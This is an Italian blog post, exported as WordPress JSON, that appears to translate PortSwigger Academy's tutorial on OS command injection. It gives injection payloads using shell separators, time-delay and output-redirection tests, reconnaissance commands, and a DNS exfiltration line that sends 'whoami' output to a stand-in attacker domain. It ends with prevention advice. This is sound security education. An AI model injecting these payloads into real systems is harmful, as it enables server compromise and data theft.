{"id":1141,"date":"2023-08-30T14:13:12","date_gmt":"2023-08-30T12:13:12","guid":{"rendered":"https:\/\/www.fabriziogiancola.eu\/?p=1141"},"modified":"2025-01-17T10:19:18","modified_gmt":"2025-01-17T09:19:18","slug":"os-command-injection","status":"publish","type":"post","link":"https:\/\/www.fabriziogiancola.eu\/index.php\/2023\/08\/30\/os-command-injection\/","title":{"rendered":"OS command injection"},"content":{"rendered":"\n<p class=\"has-medium-font-size\">PortSwigger Academy \u2013 OS command injection<\/p>\n\n\n\n<p>Continua il percorso di apprendimento suggerito da \u201c<strong><a rel=\"noreferrer noopener\" href=\"https:\/\/portswigger.net\/web-security\/learning-path\" target=\"_blank\">PortSwigger Academy<\/a><\/strong>\u201d.<\/p>\n\n\n\n<p class=\"has-dark-gray-color has-very-light-gray-to-cyan-bluish-gray-gradient-background has-text-color has-background has-medium-font-size\"><strong> OS command injection<\/strong><\/p>\n\n\n\n<p>In questa sezione spiegheremo cos\u2019\u00e8 l\u2019OS command injection, descriveremo come le vulnerabilit\u00e0 possono essere rilevate e sfruttate, spiegheremo alcuni comandi e tecniche utili per diversi sistemi operativi e riassumeremo come prevenire l\u2019OS command injection.<\/p>\n\n\n\n<figure class=\"wp-block-image is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/DYo75FA3rg0xh88FWzXhXqIMqkR9YbVFXLc6QGMl-LIXcFIZ8GRHn2KjL5vnw00UY8XjWEM6L0PrEBKNvVIQ1vqBXnY6blhxgFDXMo2M8hZu-syw8y0SNc9dWWwPMsm7_9Rd6GTqlqUYeYctMtav0sw\" alt=\"\" style=\"width:630px;height:344px\" width=\"630\" height=\"344\"\/><\/figure>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Che cos\u2019\u00e8 l\u2019OS command injection?<\/strong><\/p>\n\n\n\n<p>L\u2019OS command injection (nota anche come iniezione della shell) \u00e8 una vulnerabilit\u00e0 della sicurezza Web che consente a un utente malintenzionato di eseguire comandi arbitrari del sistema operativo (OS) sul server che esegue un\u2019applicazione e in genere di compromettere completamente l\u2019applicazione e tutti i suoi dati. Molto spesso, un utente malintenzionato pu\u00f2 sfruttare una vulnerabilit\u00e0 legata all\u2019OS command injection per compromettere altre parti dell\u2019infrastruttura di hosting, sfruttando le relazioni di fiducia per indirizzare l\u2019attacco verso altri sistemi all\u2019interno dell\u2019organizzazione.<\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Esecuzione di comandi arbitrari<\/strong><\/p>\n\n\n\n<p>Consideriamo un\u2019applicazione per lo shopping che consenta all\u2019utente di visualizzare se un articolo \u00e8 disponibile in un particolare negozio. \u00c8 possibile accedere a queste informazioni tramite un URL come:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>https:\/\/insecure-website.com\/stockStatus?productID=381&amp;storeID=29<\/em><\/code><\/pre>\n\n\n\n<p>Per fornire le informazioni sulle scorte, l\u2019applicazione deve interrogare vari sistemi legacy. Per ragioni storiche, la funzionalit\u00e0 viene implementata richiamando un comando di shell con gli ID del prodotto e del negozio come argomenti:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>stockreport.pl 381 29<\/em><\/code><\/pre>\n\n\n\n<p>Questo comando restituisce lo stato delle scorte per l\u2019articolo specificato, che viene restituito all\u2019utente.<\/p>\n\n\n\n<p>Poich\u00e9 l\u2019applicazione non implementa difese contro l\u2019OS command injection, un utente malintenzionato pu\u00f2 inviare il seguente input per eseguire un comando arbitrario:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>&amp; echo aiwefwlguh &amp;<\/em><\/code><\/pre>\n\n\n\n<p>Se questo input viene inviato nel parametro <em>productID<\/em>, il comando eseguito dall\u2019applicazione \u00e8:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>stockreport.pl &amp; echo aiwefwlguh &amp; 29<\/em><\/code><\/pre>\n\n\n\n<p>Il comando echo fa semplicemente s\u00ec che la stringa fornita venga ripetuta nell\u2019output ed \u00e8 un modo utile per testare alcuni tipi di command injection del sistema operativo. Il carattere <em>&amp;<\/em> \u00e8 un separatore di comandi della shell, quindi ci\u00f2 che viene eseguito sono in realt\u00e0 tre comandi separati uno dopo l\u2019altro. Di conseguenza, l\u2019output restituito all\u2019utente \u00e8:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>Error - productID was not provided\naiwefwlguh\n29: command not found<\/em><\/code><\/pre>\n\n\n\n<p>Le tre linee di output dimostrano che:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Il comando <em>stockreport.pl<\/em> originale \u00e8 stato eseguito senza gli argomenti previsti e quindi ha restituito un messaggio di errore.<\/li>\n\n\n\n<li>Il comando <em>echo<\/em> inserito \u00e8 stato eseguito e la stringa fornita \u00e8 stata riprodotta nell\u2019output.<\/li>\n\n\n\n<li>L\u2019argomento originale <em>29<\/em> \u00e8 stato eseguito come comando, causando un errore.<\/li>\n<\/ul>\n\n\n\n<p>Posizionare il separatore <em>&amp;<\/em> dopo il comando inserito \u00e8 generalmente utile perch\u00e9 separa il comando inserito da tutto ci\u00f2 che segue il punto di iniezione. Ci\u00f2 riduce la probabilit\u00e0 che quello che segue impedisca l\u2019esecuzione del comando inserito.<\/p>\n\n\n\n<p><a href=\"https:\/\/portswigger.net\/web-security\/os-command-injection\/lab-simple\">Lab: OS command injection, simple case<\/a><\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Comandi utili<\/strong><\/p>\n\n\n\n<p>Una volta identificata una vulnerabilit\u00e0 di command injection del sistema operativo, \u00e8 generalmente utile eseguire alcuni comandi iniziali per ottenere informazioni sul sistema che \u00e8 stato compromesso. Di seguito \u00e8 riportato un riepilogo di alcuni comandi utili sulle piattaforme Linux e Windows:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>Scopo del comando<\/strong><\/td><td><strong>Linux<\/strong><\/td><td><strong>Windows<\/strong><\/td><\/tr><tr><td>Nome dell\u2019utente corrente<\/td><td><em>whoami<\/em><\/td><td><em>whoami<\/em><\/td><\/tr><tr><td>Sistema operativo<\/td><td><em>uname -a<\/em><\/td><td><em>ver<\/em><\/td><\/tr><tr><td>Configurazione di rete<\/td><td><em>ifconfig<\/em><\/td><td><em>ipconfig \/all<\/em><\/td><\/tr><tr><td>Connessioni di rete<\/td><td><em>netstat -an<\/em><\/td><td><em>netstat -an<\/em><\/td><\/tr><tr><td>Processi in esecuzione<\/td><td><em>ps -ef<\/em><\/td><td><em>tasklist<\/em><\/td><\/tr><\/tbody><\/table><figcaption class=\"wp-element-caption\">Comandi utili<\/figcaption><\/figure>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Vulnerabilit\u00e0 Blind OS command injection<\/strong><\/p>\n\n\n\n<p>Molti casi di command injection del sistema operativo sono vulnerabilit\u00e0 cieche. Ci\u00f2 significa che l&#8217;applicazione non restituisce l&#8217;output del comando all&#8217;interno della sua risposta HTTP. Le vulnerabilit\u00e0 cieche possono ancora essere sfruttate, ma sono necessarie tecniche diverse.<\/p>\n\n\n\n<p>Considera un sito web che consenta agli utenti di inviare feedback sul sito. L&#8217;utente inserisce il proprio indirizzo e-mail e il messaggio di feedback. L&#8217;applicazione lato server genera quindi un&#8217;e-mail all&#8217;amministratore del sito contenente il feedback. Per fare ci\u00f2, chiama il programma di posta con i dettagli inviati. Per esempio:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>mail -s \u201cThis site is great\u201d -aFrom:peter@normal-user.net feedback@vulnerable-website.com<\/em><\/code><\/pre>\n\n\n\n<p>L&#8217;output del comando <em>mail<\/em> (se presente) non viene restituito nelle risposte dell&#8217;applicazione, pertanto l&#8217;utilizzo del payload echo non sarebbe efficace. In questa situazione, \u00e8 possibile utilizzare una serie di altre tecniche per rilevare e sfruttare una vulnerabilit\u00e0.<\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Rilevamento del blind OS command injection utilizzando ritardi temporali<\/strong><\/p>\n\n\n\n<p>\u00c8 possibile utilizzare un comando iniettato che attiver\u00e0 un ritardo temporale, consentendo di confermare che il comando \u00e8 stato eseguito in base al tempo impiegato dall&#8217;applicazione per rispondere. Il comando <em>ping<\/em> \u00e8 un modo efficace per farlo, poich\u00e9 consente di specificare il numero di pacchetti ICMP da inviare e quindi il tempo impiegato per l&#8217;esecuzione del comando:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>&amp; ping -c 10 127.0.0.1 &amp;<\/em><\/code><\/pre>\n\n\n\n<p>Questo comando far\u00e0 s\u00ec che l&#8217;applicazione esegua il ping della scheda di rete loopback per 10 secondi.<\/p>\n\n\n\n<p><a href=\"https:\/\/portswigger.net\/web-security\/os-command-injection\/lab-blind-time-delays\">Lab: Blind OS command injection with time delays<\/a><\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Sfruttare il blind OS command injection reindirizzando l\u2019output<\/strong><\/p>\n\n\n\n<p>Puoi reindirizzare l\u2019output del comando inserito in un file all\u2019interno della radice web che puoi quindi recuperare utilizzando il browser. Ad esempio, se l\u2019applicazione fornisce risorse statiche dalla posizione del file system <em>\/var\/www\/static<\/em>, puoi inviare il seguente input:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>&amp; whoami > \/var\/www\/static\/whoami.txt &amp;<\/em><\/code><\/pre>\n\n\n\n<p>Il carattere <em>&gt;<\/em> invia l\u2019output del comando <em>whoami<\/em> al file specificato. \u00c8 quindi possibile utilizzare il browser per recuperare <em>https:\/\/vulnerable-website.com\/whoami.txt<\/em> per recuperare il file e visualizzare l\u2019output del comando inserito.<\/p>\n\n\n\n<p><a href=\"https:\/\/portswigger.net\/academy\/labs\/launch\/794c7ab29027c16b9a3fab84326c6f313a8af27a96f1833828edd38b26a4aca7?referrer=%2fweb-security%2fos-command-injection%2flab-blind-output-redirection\">Lab: Blind OS command injection with output redirection<\/a><\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Sfruttare il blind OS command injection utilizzando tecniche fuori banda (OAST).<\/strong><\/p>\n\n\n\n<p>Puoi utilizzare un command injection che attiver\u00e0 un\u2019interazione di rete fuori banda con un sistema da te controllato, utilizzando le tecniche OAST.. Per esempio:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>&amp; nslookup kgji2ohoyw.web-attacker.com &amp;<\/em><\/code><\/pre>\n\n\n\n<p>Questo payload utilizza il comando <em>nslookup<\/em> per provocare una ricerca DNS per il dominio specificato. L\u2019aggressore pu\u00f2 monitorare il verificarsi della ricerca specificata e quindi rilevare che il comando \u00e8 stato inserito con successo.<\/p>\n\n\n\n<p><a href=\"https:\/\/portswigger.net\/academy\/labs\/launch\/6e6e115e1981ae822b7e41fcaccbc1cb96a5d85b63b42b80e3e6d35565209752?referrer=%2fweb-security%2fos-command-injection%2flab-blind-out-of-band\">Lab: Blind OS command injection with out-of-band interaction<\/a><\/p>\n\n\n\n<p>Il canale fuori banda fornisce anche un modo semplice per estrarre l\u2019output dai comandi inseriti:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>&amp; nslookup `whoami`.kgji2ohoyw.web-attacker.com &amp;<\/em><\/code><\/pre>\n\n\n\n<p>Ci\u00f2 causer\u00e0 una ricerca DNS nel dominio dell\u2019aggressore contenente il risultato del comando <em>whoami<\/em>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>wwwuser.kgji2ohoyw.web-attacker.com<\/em><\/code><\/pre>\n\n\n\n<p><a href=\"https:\/\/portswigger.net\/academy\/labs\/launch\/3c2c7dc2a5f53dc680195c18c290e82bc97c28f599414db388cf8cf96cb72bf5?referrer=%2fweb-security%2fos-command-injection%2flab-blind-out-of-band-data-exfiltration\">Lab: Blind OS command injection with out-of-band data exfiltration<\/a><\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Modi per inserire OS command injection<\/strong><\/p>\n\n\n\n<p>\u00c8 possibile utilizzare una variet\u00e0 di metacaratteri della shell per eseguire attacchi di command injection del sistema operativo.<\/p>\n\n\n\n<p>Un certo numero di caratteri funziona come separatori di comandi, consentendo di concatenare i comandi. I seguenti separatori di comandi funzionano sia sui sistemi basati su Windows che su Unix:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>&amp;\n\n&amp;&amp;\n\n|\n\n||<\/em><\/code><\/pre>\n\n\n\n<p>I seguenti separatori di comandi funzionano solo su sistemi basati su Unix:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>;\n\nNuova riga (0x0a oppure \\n)<\/em><\/code><\/pre>\n\n\n\n<p>Sui sistemi basati su Unix, puoi anche utilizzare i backtick o il carattere del dollaro per eseguire l\u2019esecuzione in linea di un comando inserito all\u2019interno del comando originale:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>`\n\ncomando iniettato `\n\n$ (\n\ncomando iniettato)<\/em><\/code><\/pre>\n\n\n\n<p>Si noti che i diversi metacaratteri della shell hanno comportamenti leggermente diversi che potrebbero influenzare il loro funzionamento in determinate situazioni.<\/p>\n\n\n\n<p>A volte, l\u2019input che controlli appare tra virgolette nel comando originale. In questa situazione, \u00e8 necessario terminare il contesto citato (utilizzando <em>&#8220;<\/em> oppure <em>\u2019<\/em>) prima di utilizzare i metacaratteri della shell adatti per inserire un nuovo comando.<\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Come prevenire gli attacchi di OS command injection<\/strong><\/p>\n\n\n\n<p>Di gran lunga il modo pi\u00f9 efficace per prevenire le vulnerabilit\u00e0 di OS command injection \u00e8 non richiamare mai i comandi del sistema operativo dal codice a livello di applicazione. Praticamente in ogni caso, esistono modi alternativi per implementare la funzionalit\u00e0 richiesta utilizzando API della piattaforma pi\u00f9 sicure.<\/p>\n\n\n\n<p>Se si ritiene inevitabile richiamare i comandi del sistema operativo con l\u2019input fornito dall\u2019utente, \u00e8 necessario eseguire una valida convalida dell\u2019input. Alcuni esempi di validazione efficace includono:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Convalida rispetto a una whitelist di valori consentiti.<\/li>\n\n\n\n<li>Convalidare che l\u2019input \u00e8 un numero.<\/li>\n\n\n\n<li>Convalidare che l\u2019input contenga solo caratteri alfanumerici, nessun\u2019altra sintassi o spazi bianchi.<\/li>\n<\/ul>\n\n\n\n<p>Non tentare mai di ripulire l\u2019input eseguendo l\u2019escape dei metacaratteri della shell. In pratica, questo \u00e8 semplicemente troppo soggetto a errori e vulnerabile alle attivit\u00e0 di un utente malintenzionato esperto.<\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Per saperne di pi\u00f9<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><a href=\"https:\/\/portswigger.net\/burp\/vulnerability-scanner\">Find OS command injection vulnerabilities using Burp Suite\u2019s web vulnerability scanner<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/portswigger.net\/research\/hunting-asynchronous-vulnerabilities\">Read PortSwigger Research\u2019s writeup of the Hunting Asynchronous Vulnerabilities presentation from 44Con and BSides Manchester<\/a><\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>PortSwigger Academy \u2013 OS command injection Continua il percorso di apprendimento suggerito da \u201cPortSwigger Academy\u201d. OS command injection In questa sezione spiegheremo cos\u2019\u00e8 l\u2019OS command injection, descriveremo come le vulnerabilit\u00e0 possono essere rilevate e sfruttate, spiegheremo alcuni comandi e tecniche utili per diversi sistemi operativi e riassumeremo come prevenire l\u2019OS command injection. Che cos\u2019\u00e8 l\u2019OS &hellip; <a href=\"https:\/\/www.fabriziogiancola.eu\/index.php\/2023\/08\/30\/os-command-injection\/\" class=\"more-link\">Leggi tutto<span class=\"screen-reader-text\"> &#8220;OS command injection&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"iawp_total_views":0,"footnotes":""},"categories":[5,15],"tags":[],"class_list":["post-1141","post","type-post","status-publish","format-standard","hentry","category-burp-suite","category-ethical-hacking"],"_links":{"self":[{"href":"https:\/\/www.fabriziogiancola.eu\/index.php\/wp-json\/wp\/v2\/posts\/1141","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.fabriziogiancola.eu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.fabriziogiancola.eu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.fabriziogiancola.eu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.fabriziogiancola.eu\/index.php\/wp-json\/wp\/v2\/comments?post=1141"}],"version-history":[{"count":9,"href":"https:\/\/www.fabriziogiancola.eu\/index.php\/wp-json\/wp\/v2\/posts\/1141\/revisions"}],"predecessor-version":[{"id":2032,"href":"https:\/\/www.fabriziogiancola.eu\/index.php\/wp-json\/wp\/v2\/posts\/1141\/revisions\/2032"}],"wp:attachment":[{"href":"https:\/\/www.fabriziogiancola.eu\/index.php\/wp-json\/wp\/v2\/media?parent=1141"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.fabriziogiancola.eu\/index.php\/wp-json\/wp\/v2\/categories?post=1141"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.fabriziogiancola.eu\/index.php\/wp-json\/wp\/v2\/tags?post=1141"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}